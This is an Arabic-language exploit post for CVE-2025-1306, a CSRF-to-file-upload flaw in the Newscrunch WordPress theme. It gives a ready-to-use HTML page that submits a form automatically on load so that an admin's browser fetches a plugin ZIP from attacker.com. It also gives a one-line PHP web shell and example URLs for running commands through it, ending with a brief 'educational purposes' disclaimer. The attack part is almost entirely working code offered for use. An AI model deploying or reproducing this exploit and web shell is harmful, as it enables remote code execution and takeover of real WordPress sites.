
Newscrunch <= 1.8.4 - تزوير الطلبات عبر المواقع إلى رفع ملفات عشوائي
يستهدف هذا الاستغلال ثغرة تزوير الطلبات عبر المواقع (CSRF) إلى رفع ملفات تعسفي (CVE-2025-1306) في قالب Newscrunch الخاص بووردبريس. نظرًا لغياب التحقق من الـ nonce في دالة newscrunch_install_and_activate_plugin()، يمكن لمهاجم غير مصادق عليه خداع مدير مسجّل الدخول لرفع ملفات تعسفية إلى الخادم، مما يؤدي إلى تنفيذ أكواد عن بُعد (RCE).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:Hقابلية الاستغلال: يتطلب من مدير النظام زيارة رابط خبيث مُعدّ.
يجبر هذا الاستغلال مديرًا مصادقًا عليه على تنفيذ هجوم CSRF يرفع ملف ZIP خبيث يحتوي على قشرة ويب.
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
<h2>Click anywhere to load content...</h2>
<script>
function sendExploit() {
var form = document.createElement("form");
form.method = "POST";
form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";
var input = document.createElement("input");
input.type = "hidden";
input.name = "plugin_url";
input.value = "http://attacker.com/shell.zip";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
window.onload = function() {
sendExploit();
};
</script>
</body>
</html>
📌 استبدل:
http://target.com/ بموقع ووردبريس المستهدفhttp://attacker.com/shell.zip بحمولة ZIP خبيثة تحتوي على قشرة ويب.<?php system($_GET['cmd']); ?>
📌 بعد نجاح الاستغلال، قم بالوصول إلى القشرة:
http://target.com/wp-content/plugins/shell.php?cmd=whoami
http://target.com/wp-content/plugins/shell.php?cmd=ls
هذه الأداة مخصصة للأغراض التعليمية وبحوث الأمن فقط. الاستغلال غير المصرح به للثغرات غير قانوني ويعاقب عليه القانون. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو أضرار ناتجة عن هذه الأداة. استخدمها بمسؤولية.